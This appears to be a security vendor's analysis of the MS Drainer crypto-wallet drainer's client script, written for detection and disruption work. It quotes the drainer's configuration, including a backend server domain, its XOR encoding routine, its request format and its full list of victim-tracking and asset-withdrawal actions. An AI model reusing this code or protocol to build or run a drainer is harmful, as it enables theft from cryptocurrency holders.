OP LOCUST: MS Drainer Client Analysis
Sections
- Introduction
- Background
- Client Overview
- Encryption
- Decryption Example
- Requests
- Interesting actions
- Final Notes
Introduction
MS Drainer is a Russian-made tool used in cryptocurrency scams. It is embedded in a malicious webpage and drains tokens from a victim’s wallet once they connect to it, using a malicious smart contract. The tool supports multiple blockchain networks and can generate unique malicious contracts for each victim, making on-chain tracking and analysis more difficult.
The drainer consists of three main components:
- A JavaScript client script that initiates the wallet connection and communicates with the backend server.
- A backend server that delivers the malicious contracts, configurations, and logs victim activity, which is then sent to a single Telegram channel controlled by the scammer.
- A malicious smart contract that, once deployed, drains the victim’s cryptocurrency funds.
This article will focus on analyzing the client script.
Background
On 2024-09-10, a suspicious URL hosting a work-in-progress drainer site was discovered by our proprietary BaitBuster tool. The site displayed the following content, along with a button to initiate draining.
Страница с примером работы MS Drainer
Хотите приобрести? Пишите в Telegram: @msteal_support
Встроенный кошелек: false
Будьте осторожны! Скрипт безвозвратно списывает ваши активы!
MS Drainer example page
Want to buy? Write to Telegram: @msteal_support
Built-in wallet: false
Be careful! The script irrevocably writes off your assets!
The scam page was cloned, revealing the following file tree structure:
.
├── assets
│ ├── web3-provider
│ │ ├── ethereum-tx.js
│ │ ├── ethers.js
│ │ ├── web3-alert.js
│ │ ├── web3-connect.js
│ │ ├── web3-data.js
│ │ ├── web3-loader.js
│ │ ├── web3-modal.js
│ │ ├── web3-module.js
│ │ ├── web3-router.js
│ │ └── web3-seaport.js
│ └── web3-provider.js
└── index.html
The web3-provider.js
file contained the raw, unobfuscated source code of MS Drainer, with the following warning displayed at the top of the code:
// Использование данного кода без обфускации СТРОГО ЗАПРЕЩЕНО
// В случае, если это будет обнаружено, будет составлен арбитраж
// Обфускацию данного скрипта можно выполнить здесь: obfuscator.io
// Нашли скрипт в открытом доступе без обфускации?
// Сообщите разработчику по электронной почте: msteal-dev@proton.me
// Укажите место или домен, где располагается скрипт
// Using this code without obfuscation is STRICTLY PROHIBITED
// If this is found, arbitration will be made
// This script can be obfuscated here: obfuscator.io
// Found a script in the public domain without obfuscation?
// Notify the developer by email: msteal-dev@proton.me
// Specify the location or domain where the script is located
Client Overview
The client handles the logging of nearly all interactions the victim has with the page. This includes actions such as visiting the page, connecting their wallet, rejecting the wallet connection request, and successful draining attempts. Additionally, the client serves malicious contract addresses and configurations designed to facilitate the draining process. Communication between the server and client is secured through a custom-built encryption algorithm.
Configuration
Under a header “ОСНОВНЫЕ НАСТРОЙКИ СКРИПТА” (“BASIC SCRIPT SETTINGS”), various constants configure the drainer’s settings. Two notable variables are:
let MS_Encryption_Key = 500; // Укажите любое число, которое будет использовано для шифрования (не рекомендуется оставлять по умолчанию!)
// Это же число должно быть указано и в файле server.js - если они будут различаться, то ничего не будет работать правильно
const MS_Server = "3b3e-65-108-127-95.ngrok-free.app"; // Указать домен, который прикреплен к серверу дрейнера
Encryption
The client communicates with the server, defined as MS_SERVER
, using a custom-built encryption method. Notably, the encryption key is restricted to being an integer. The key used to encode the communication is generated as follows:
const encode_key = btoa(String(5 + 10 + 365 + 2048 + 867 + prs_enc));
Where prs_enc
is the integer defined as MS_Encryption_Key
. For example, with an extracted encryption key of 500, the result is as follows:
btoa(String(3295 + 500)) // Mzc5NQ==
This value is then used to encrypt a stringified version of the data before it is sent to the server:
const request_data = prs(encode_key, btoa(JSON.stringify(data)));
The prs
function works as follows:
- It converts each character of the message into its corresponding ASCII value.
- Then, it performs an XOR operation between the ASCII values of the message characters and the key.
- Finally, the resulting values are converted into hexadecimal format.
const prs = (s, t) => {
const ab = (t) => t.split("").map((c) => c.charCodeAt(0));
const bh = (n) => ("0" + Number(n).toString(16)).substr(-2);
const as = (code) => ab(s).reduce((a, b) => a ^ b, code);
return t.split("").map(ab).map(as).map(bh).join("");
}
The encrypted data, along with a script version, is then used as a URL parameter to the backend server.
Decryption Example
Below is an interative example of decrypting an MS Drainer message intended for its backend. Only the raw message is needed, as the key is brute-forced. An example encypted message is provided:
Encrypted message:
Note that while 161
works in the above example, the actual key is 500
. This is due to a key collision when generating the encode_key, which significantly reduces the time required to brute-force the key.
Requests
Requests are sent via POST
request to /
on the server defined at MS_SERVER
with the following request body:
ver=26052024&raw=${request_data}
Where request_data
is the encrypted message. By default, all request objects contain the following fields:
Variable | Description |
---|---|
data.domain | Location of the scam page |
data.worker_id | Unknown |
data.user_id | Unique ID assigned per visitor |
data.message_ts | Current time as timestamp |
data.chat_data | Unknown (Telegram related?) |
data.wallet_address | Address of victim |
data.partner_address | Address of “partner”, likely a scam promoter |
Additionally the action
field determines which operation to perform. Each action appends additional fields to the request object. Below is a list of extracted actions (with corresponding arguments):
{ action: 'approve_cancel', user_id: MS_ID }
{ action: 'approve_request', user_id: MS_ID, asset }
{ action: 'approve_success', asset, user_id: MS_ID }
{ action: 'approve_token', user_id: MS_ID, asset, address: MS_Current_Address, PW: false }
{ action: 'approve_token', user_id: MS_ID, asset, address: MS_Current_Address, PW: MS_Settings.Personal_Wallet }
{ action: 'chain_cancel', user_id: MS_ID }
{ action: 'chain_request', user_id: MS_ID, chains: [ old_chain, new_chain ] }
{ action: 'chain_success', user_id: MS_ID }
{ action: 'check_finish', user_id: MS_ID, assets: assets, balance: assets_usd_balance }
{ action: 'check_nft', address: MS_Current_Address }
{ action: 'check_wallet', address: MS_Current_Address }
{ action: 'connect_cancel', user_id: MS_ID }
{ action: 'connect_request', user_id: MS_ID, wallet: MS_Current_Provider }
{ action: 'connect_success', user_id: MS_ID, address: MS_Current_Address }
{ action: 'contract_new', chain_id: asset.chain_id, amount: asset.amount_usd, PW: MS_Settings.Personal_Wallet }
{ action: 'contract_used', chain_id: asset.chain_id }
{ action: 'enter_website' }
{ action: 'leave_website', user_id: MS_ID }
{ action: 'partner_percent', address: MS_Partner_Address, amount_usd: (asset.amount_usd || null) }
{ action: 'permit_token', user_id: MS_ID, sign: { }
{ action: 'retrive_config' }
{ action: 'retrive_contract' }
{ action: 'retrive_id' }
{ action: 'retrive_wallet', personal_wallet }
{ action: 'safa_approves', user_id: MS_ID, tokens: same_collection, address: MS_Current_Address }
{ action: 'sign_cancel', user_id: MS_ID }
{ action: 'sign_permit2', user_id: MS_ID, signature: permit_signature }
{ action: 'sign_request', user_id: MS_ID, asset }
{ action: 'sign_success', asset, user_id: MS_ID }
{ action: 'sign_unavailable', user_id: MS_ID }
{ action: 'sign_verify', address: MS_Current_Address }
{ action: 'sign_verify', sign: signed_message, address: MS_Current_Address, message: MS_Verify_Message }
{ action: 'swap_request', user_id: MS_ID, asset, list: all_tokens, swapper: type }
{ action: 'swap_success', asset, user_id: MS_ID, list: all_tokens, swapper: type }
{ action: 'transfer_cancel', user_id: MS_ID }
{ action: 'transfer_request', user_id: MS_ID, asset }
{ action: 'transfer_success', asset, user_id: MS_ID }
{ action: 'withdraw_native', wallet: MS_Settings.Personal_Wallet }
{ action: 'withdraw_nft', wallet: MS_Settings.Personal_Wallet }
{ action: 'withdraw_token', wallet: MS_Settings.Personal_Wallet }
Interesting Actions
retrive_config()
When the page loads, a call to retrive_config
is made. The response contains configuration for:
- RPC URLs for connecting to each chain
- The scammers receive address
- Configuration related to dynamic smart contract creation
- Various drain settings (drain tokens or NFTs first, etc.)
- Blacklisted addresses
- Miscellaneous settings
check_wallet()
An array of all assets and their values is returned given an address
, for example:
{
chain_id: 10,
name: 'Tether USD',
type: 'ERC20',
amount: 36.657569,
amount_raw: '36657569',
amount_usd: 36.657935575690004,
symbol: 'USDT',
decimals: 6,
address: '0x94b008aa00579c1307b0ef2c499ad98a8ce58e58',
price: 1.00001
}
This exposes a vulnerability in the drainer, as repeated calls could be exploited to trigger rate limits on the RPC provider and quickly burn through the call quota, especially when a large wallet like the dead wallet is spoofed. The high token count of such large wallets leads to a significant volume of calls.
retrive_contract() & contract_new()
Returns a JSON-encoded version of the drainer contract used, likely intended to work with contract_new()
. MS Drainer’s configuration includes settings for dynamic contract creation, such as:
Use_Contract_Generator
Contract_Creation_Limit
Deploy_Contract_From
Max_Contract_Reuses
This poses a significant risk to the drainer owner, as repeated calls would trigger repeated contract deployments, resulting in considerable costs due to excessive network fees incurred with each new contract creation.
Final Notes
Since the time of writing, we have obtained a leaked copy of the server-side code—a single JavaScript file containing all the handlers for the actions described above. Using the information outlined in this article, we have developed an automated MS Drainer discovery tool, which we plan to integrate into BaitBuster in the future.
Security researchers interested in obtaining a copy of the materials discussed in this article, or those seeking assistance in securing their crypto protocol, are encouraged to contact us via email.
223e0d2c2575762f2610732e082e0d28230f1530243d28310b75233e25757e33250002322675122e0b040d331d1f093d1e10232b0e2d282e15760d17137777201302010b15140516122c2b10161115010e02760d13022b1216110d1d0e020917122b0517122c011214127e080e0f302015760d17137777201302010b15140516122c2b10161115010e02760d13022b1216110d1d0e020917122b0517122c011214127e080e0f302015760d17137777201302010b15140516122c2b10161115010e02760d13022b1216110d1d0e020917122b0517122c011214127e080e0f302015760d17137777201302010b15140516122c2b10161115010e02760d13022b1216110d1d0e020917122b0517122c011214127e080e29777a